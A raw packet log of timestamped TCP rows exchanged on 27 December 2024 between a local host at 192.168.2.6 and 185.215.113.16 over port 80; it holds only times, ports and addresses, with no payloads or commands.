Dec 27, 2024 08:50:53.658124924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.658447027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.658782959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.658818960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.658837080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.658857107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.658934116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.659585953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.659624100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.659632921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.659636974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.659657955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.659728050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.660428047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.660454035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.660469055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.660468102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.660492897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.660547018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.661165953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.661186934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.661197901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.661210060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.661227942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.661281109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.661983013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.662009001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.662019968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.662030935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.662045956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.662103891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.662458897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.662741899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.662786961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.662801027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.662838936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.662919044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.663494110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.663532972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.692791939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.692826033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.692836046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.692847967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.692862034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.692888021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.692899942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.692969084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.693551064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.693628073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.694116116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.845841885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.845885038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.845900059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.845971107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.845993996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.846041918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.846287012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.846298933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.846313953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.846368074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.846739054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.846793890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.846806049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.846858025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.846890926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.847538948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.847608089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.847611904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.847631931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.847682953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.847702980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.848335028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.848398924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.848407984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.848421097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.848445892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.848476887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.849229097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.849244118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.849256992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.849268913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.849289894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.849332094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.849925041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.849961996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.849972963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.850043058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.850043058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.850064039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.850696087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.850749016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.850759983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.850822926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.850822926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.850837946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.851490021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.851547003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.851557970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.851603985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.851607084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.851623058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.852258921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.852308989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.852322102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.852385044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.852391958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.853046894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.853106022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.853120089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.853122950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.853164911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.853200912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.853841066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.853898048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.853929043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.853951931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.854015112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.854068995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.854645967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.854696989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.854708910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.854731083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.854744911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.854799032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.855421066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.855489016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.855499983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.855561018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.855561018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.855581999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.856195927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.856256962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.856280088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.856293917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.856329918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.856370926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857002974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857048988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857062101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857078075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.857116938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.857150078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857840061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857851982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857867002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.857888937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.857929945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.857929945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.858597040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.858649969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.858663082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.858706951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.858710051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.858751059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.859378099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.859450102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.859462023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.859543085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.859627008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.860227108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.860245943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.860258102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.860285044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.860295057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.860335112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.860929966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.860982895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.861004114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.861016035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.861057997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.861080885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.861730099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.861789942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.861802101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.861813068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.861879110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.861886024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.862519026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.862576962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.862590075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.862643003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.862643003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.862670898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.863301039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.863353014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.863362074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.863375902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.863440037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.863440990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.864108086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.864154100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.864166975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.864206076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.864234924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.864250898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.864870071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.864976883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.894104004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.894191027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.894202948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.894248962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.894299030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.894299030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.894505978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.894572020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.894587994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:53.894628048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:53.943598032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.047079086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.047106028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.047117949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.047204971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.047281027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.047334909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.047375917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.047389984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.047424078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.047441006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048120022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048172951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048212051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.048223972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048238039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048249960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048275948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.048316002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.048851967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048885107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048897028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048973083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.048976898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.049030066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.049628019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.049669027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.049680948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.049715042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.049756050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.049968958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.050415993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.050463915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.050478935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.050542116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.050544977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.050614119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.051218033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.051271915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.051284075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.051350117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.051369905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.051398993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.051999092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.052071095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.052083969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.052140951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.052145958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.052273989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.052793980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.052814007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.052828074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.052875042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.052910089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.053569078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.053618908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.053632021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.053663969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.053663969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.053698063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.053832054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.054369926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.054398060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.054410934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.054438114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.054482937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.055172920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.055195093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.055207014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.055238962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.055238962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.055286884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.055984020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.055996895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.056010008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.056034088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.056072950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.056077003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.056117058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.056761026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.056783915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.056808949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.056878090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.056889057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.057528973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.057543039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.057557106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.057573080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.057610989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.057646990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.057779074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.058304071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.058350086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.058362961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.058446884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.058461905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.058635950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.059151888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.059168100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.059180021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.059216022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.059236050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.059295893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.059875965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.059912920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.059926033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.059983015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.060019970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.060101032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.060673952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.060714960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.060729980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.060772896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.060815096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.061455011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.061497927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.061511040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.061530113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.061530113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.115521908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.301598072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.421212912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.755693913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.755733967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.755750895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.755817890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.755881071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.755897999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.755916119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.755928993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.755955935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.756393909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.756484985 CET	80	49752	185.215.113.16	192.168.2.6
